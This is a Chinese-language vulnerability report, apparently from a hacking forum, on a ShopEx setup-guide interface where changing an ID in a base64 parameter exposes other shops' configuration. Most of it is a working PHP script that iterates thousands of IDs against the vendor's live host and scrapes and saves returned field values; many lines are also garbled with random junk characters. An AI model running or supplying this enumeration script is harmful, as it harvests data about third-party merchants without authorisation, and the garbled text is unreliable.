ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
6 j; B, n% a) a  U# D9 r' RShopEx某接口缺陷,可遍历所有网站
详细说明：
) q+ R& i3 t! A1 ]0 X& Z9 U# h& X问题出现在shopex 网店使用向导页面


) w/ h/ L/ q+ C/ @
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
$ T! i9 l- H# x# t# H
- N% F9 Z: d$ v: x

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

& w9 }; t* i; \7 R- p
' y6 }! r1 l. q
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


& j& T5 X! Y  k4 {% D, c2 T
& c' i9 P$ B3 Y( y" n( e<?php
) Z7 `3 v, D* k* j
                for ($i=1; $i < 10000; $i++) { //遍历
& S$ J7 _# D5 I3 q/ d
                        ShowshopExD($i);

                }
5 m6 j( G* p+ D( G4 l. g8 [
: D: c; Y" C6 i5 v                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';

" J) x& N3 @) z9 B  h3 k% y& E, U8 Q                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
' U5 F" I# c+ |
+ t6 p3 f$ ~5 z, w  Z, T9 L" D        $url = $url.'?refer='.$refer;
. f% D8 `, O2 l6 i
        $ch = curl_init($url);

, E& Y2 M" u/ H8 c3 U        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
3 q5 O* @" M+ }3 T# o
' d6 x. c+ J/ r6 N( I        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
, C9 g$ x1 o. A  @; H& I- A( n
        if(strpos($result,$refer))

; V4 o1 T/ w) M1 Q- \( D# A$ I/ e        {

) [' e6 G8 G/ t# E* b* w6 S                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
! W9 M5 _( Y5 ^& |8 F
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

' `$ u* Y$ `% ^4 r                foreach ($value[1] as $key) {

. F2 m' H% P8 Q                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
$ S" z- S' B! f
                        echo $res[1][0].':'.$res[3][0]."\r\n";
, R" f5 |5 M: `  ~4 n9 f2 }
' M; A2 {4 w% ~6 e* V! R7 d2 r' {9 \7 E                        $col =$res[1][0].':'.$res[3][0]."\r\n";
* g  u; A" L3 U% b# {* s4 K8 v
                        fwrite($fp, $col, strlen($col));

0 ?: v% E7 k) u- ^0 G* _                }

7 V! C8 e& T, I9 Q  Q! j9 f                echo '--------------------------------'."\r\n";

" ?3 e, d/ z) z+ l$ U% u                fclose($fp);

# d4 j; S9 u. z6 |        }

        flush();
* O/ d$ E# R! r7 f. y7 C
; y6 h) [! ]- P8 ~: Z/ x        curl_close($ch);
. d, v8 k& v% ?5 ?' V0 A, g' Q: s( E- e
5 j; O( `  G1 C+ e3 e' Q                }
+ E* r6 j* l( u/ V& `
?>
漏洞证明：
- j$ @& I' W9 y& y4 hhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
3 Y  L! ]' N6 |refer换成其他加密方式
6 ]. ?9 g" c9 A* }5 P) @